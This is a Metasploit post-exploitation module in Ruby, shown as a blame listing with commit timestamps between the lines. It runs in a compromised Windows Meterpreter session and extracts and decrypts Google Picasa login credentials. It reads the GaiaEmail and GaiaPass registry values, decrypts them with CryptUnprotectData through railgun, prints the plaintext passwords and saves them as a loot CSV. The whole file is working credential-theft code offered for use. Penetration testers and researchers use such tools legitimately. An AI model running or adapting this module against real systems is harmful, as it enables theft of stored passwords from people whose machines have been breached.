2011-08-26 18:32:42 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-08-26 18:32:42 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/registry'
|
|
|
|
require 'msf/core/post/windows/priv'
|
2012-10-23 18:24:05 +00:00
|
|
|
require 'msf/core/auxiliary/report'
|
2011-08-26 18:32:42 +00:00
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Registry
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2013-01-23 05:53:00 +00:00
|
|
|
'Name' => 'Windows Gather Google Picasa Password Extractor',
|
2011-10-11 20:03:40 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module extracts and decrypts the login passwords
|
|
|
|
stored by Google Picasa.
|
|
|
|
},
|
2013-01-23 05:53:00 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2011-08-26 18:32:42 +00:00
|
|
|
[
|
|
|
|
'SecurityXploded Team', #www.SecurityXploded.com
|
|
|
|
'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
|
|
|
|
],
|
2013-01-23 05:53:00 +00:00
|
|
|
'Platform' => [ 'win' ],
|
2011-08-26 18:32:42 +00:00
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def prepare_railgun
|
|
|
|
rg = session.railgun
|
|
|
|
if (!rg.get_dll('crypt32'))
|
|
|
|
rg.add_dll('crypt32')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def decrypt_password(data)
|
|
|
|
rg = session.railgun
|
|
|
|
pid = client.sys.process.getpid
|
|
|
|
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
|
|
|
|
|
|
mem = process.memory.allocate(512)
|
|
|
|
process.memory.write(mem, data)
|
|
|
|
|
|
|
|
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
|
|
|
|
addr = [mem].pack("V")
|
|
|
|
len = [data.length].pack("V")
|
|
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
|
|
|
len, addr = ret["pDataOut"].unpack("V2")
|
|
|
|
else
|
|
|
|
addr = [mem].pack("Q")
|
|
|
|
len = [data.length].pack("Q")
|
|
|
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
|
|
|
len, addr = ret["pDataOut"].unpack("Q2")
|
|
|
|
end
|
|
|
|
|
|
|
|
return "" if len == 0
|
|
|
|
decrypted_pw = process.memory.read(addr, len)
|
|
|
|
return decrypted_pw
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_registry
|
2013-01-23 05:53:00 +00:00
|
|
|
|
2011-08-26 18:32:42 +00:00
|
|
|
begin
|
|
|
|
print_status("Looking in registry for stored login passwords by Picasa ...")
|
|
|
|
|
2013-01-23 05:53:00 +00:00
|
|
|
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaEmail') || ''
|
|
|
|
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') || ''
|
2011-08-26 18:32:42 +00:00
|
|
|
|
2013-01-22 20:46:47 +00:00
|
|
|
credentials = Rex::Ui::Text::Table.new(
|
|
|
|
'Header' => "Picasa Credentials",
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' =>
|
|
|
|
[
|
|
|
|
"User",
|
|
|
|
"Password"
|
|
|
|
])
|
2013-01-23 05:53:00 +00:00
|
|
|
|
2013-01-22 20:46:47 +00:00
|
|
|
foundcreds = 0
|
2013-01-23 05:53:00 +00:00
|
|
|
if !username.empty? and !password.empty?
|
2011-08-26 18:32:42 +00:00
|
|
|
passbin = [password].pack("H*")
|
|
|
|
pass = decrypt_password(passbin)
|
|
|
|
|
2013-01-23 05:53:00 +00:00
|
|
|
if pass and !pass.empty?
|
2013-01-22 20:46:47 +00:00
|
|
|
print_status("Found Picasa 2 credentials.")
|
2013-01-23 05:53:00 +00:00
|
|
|
print_good("Username: #{username}\t Password: #{pass}")
|
|
|
|
|
2013-01-22 20:46:47 +00:00
|
|
|
foundcreds = 1
|
|
|
|
credentials << [username,pass]
|
2011-08-26 18:32:42 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
#For early versions of Picasa3
|
2013-01-23 05:53:00 +00:00
|
|
|
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaEmail') || ''
|
|
|
|
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaPass') || ''
|
2011-08-26 18:32:42 +00:00
|
|
|
|
2011-11-15 22:13:51 +00:00
|
|
|
|
2013-01-23 05:53:00 +00:00
|
|
|
if !username.empty? and !password.empty?
|
2011-08-26 18:32:42 +00:00
|
|
|
passbin = [password].pack("H*")
|
|
|
|
pass = decrypt_password(passbin)
|
|
|
|
|
2013-01-23 05:53:00 +00:00
|
|
|
if pass and !pass.empty?
|
2013-01-22 20:46:47 +00:00
|
|
|
print_status("Found Picasa 3 credentials.")
|
2013-01-23 05:53:00 +00:00
|
|
|
print_good("Username: #{username}\t Password: #{pass}")
|
2011-08-26 18:32:42 +00:00
|
|
|
|
2013-01-22 20:46:47 +00:00
|
|
|
foundcreds = 1
|
2011-11-15 22:13:51 +00:00
|
|
|
credentials << [username,pass]
|
|
|
|
end
|
2011-08-26 18:32:42 +00:00
|
|
|
end
|
2013-01-23 05:53:00 +00:00
|
|
|
|
2013-01-22 20:46:47 +00:00
|
|
|
if foundcreds == 1
|
|
|
|
path = store_loot(
|
2013-01-23 05:53:00 +00:00
|
|
|
"picasa.creds",
|
|
|
|
"text/csv",
|
|
|
|
session,
|
|
|
|
credentials.to_csv,
|
|
|
|
"decrypted_picasa_data.csv",
|
|
|
|
"Decrypted Picasa Passwords"
|
|
|
|
)
|
2013-01-22 20:46:47 +00:00
|
|
|
|
|
|
|
print_status("Decrypted passwords saved in: #{path}")
|
2013-01-23 05:53:00 +00:00
|
|
|
else
|
2013-01-22 20:46:47 +00:00
|
|
|
print_status("No Picasa credentials found.")
|
|
|
|
end
|
2011-08-26 18:32:42 +00:00
|
|
|
|
|
|
|
rescue ::Exception => e
|
2013-01-23 05:53:00 +00:00
|
|
|
print_error("An error has occurred: #{e.to_s}")
|
2011-08-26 18:32:42 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
uid = session.sys.config.getuid #Decryption only works in context of user's account.
|
|
|
|
|
|
|
|
if is_system?
|
|
|
|
print_error("This module is running under #{uid}.")
|
|
|
|
print_error("Automatic decryption will not be possible.")
|
|
|
|
print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
|
|
|
|
else
|
|
|
|
prepare_railgun
|
|
|
|
get_registry()
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Done")
|
|
|
|
end
|
2011-10-11 20:03:40 +00:00
|
|
|
end
|